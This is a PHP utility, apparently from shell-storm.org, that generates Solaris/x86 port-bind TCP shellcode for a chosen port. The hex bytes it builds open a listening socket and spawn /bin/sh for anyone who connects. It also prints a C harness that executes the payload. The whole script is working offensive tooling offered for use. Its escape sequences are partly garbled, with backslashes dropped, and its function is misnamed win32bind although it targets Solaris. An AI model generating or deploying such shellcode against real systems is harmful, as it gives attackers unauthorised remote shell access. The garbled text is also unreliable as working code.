<?php
/*
Utility	: Solaris/x86 - Generate PortBind/TCP shellcode
Author	: Jonathan Salwan
Mail	: submit [!] shell-storm.org

	More shellcodes in => http://www.shell-storm.org/shellcode/
*/

function syntax()
	{
	echo "nSyntax:nroot@laptop:/# php ./payload.php <port>nn";
	}

function win32bind($port)
		{
		if($port > 65535 || $port < 4100){
			echo "Erreur PortnSelect a port between 4100 and 65535n";
			return false;
			}

		$inser .= "nchar shellcode[] = n";
		$inser .= "			/* BindPort TCP/$port; Os:Solaris; Gen:http://payload.shell-storm.org */n";
		$inser .= "n";

		$inser .= "			x22\xb8\xff\xf8\xff\x3c\xf7\xd0\x50\x31\xc0\xb0\x9a\x50\x89\xe5\x31\xc9x22n";
		$inser .= "			x22\x51\x41\x41\x51\x51\xb0\xe6\xff\xd5\x31\xd2\x89\xc7\x52\x66\x68x22n";
		$inser .= "			x22\x";

		$res_port 	= base_convert($port, 10, 16);

		$length 	= strlen($res_port)-1;
		$i 		= 1;

		for($idx = 0; $idx < $length+1; $idx++)
		{
		$i++;
		if($i == 4)		
		$inser .= "\x";

		$inser .= $res_port[$idx];
		}
		$inser .= "x22 /* Port ".$port." */n";
		$inser .= "			x22\x66\x51\x89\xe6\x6a\x10\x56\x57\xb0\xe8\xff\xd5\xb0\xe9\xff\xd5x22n";
		$inser .= "			x22\x50\x50\x57\xb0\xea\xff\xd5\x31\xd2\xb2\x09\x51\x52\x50\xb0\x3ex22n";
		$inser .= "			x22\xff\xd5\x49\x79\xf2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6ex22n";
		$inser .= "			x22\x89\xe3\x50\x53\x89\xe2\x50\x52\x53\xb0\x3b\xff\xd5x22x3bn";
		$inser .= "n";
		$inser .= "	printf(x22Length: %d\nx22,strlen(shellcode));n";
		$inser .= "	(*(void(*)()) shellcode)();</br>";
		$inser .= "n";
		$inser .= "n";

	return $inser;
}

if($argc < 2){
	syntax();
	return false;
	}
		$port = $argv[1];
		echo win32bind($port);

?>

# www.Syue.com [2009-06-16]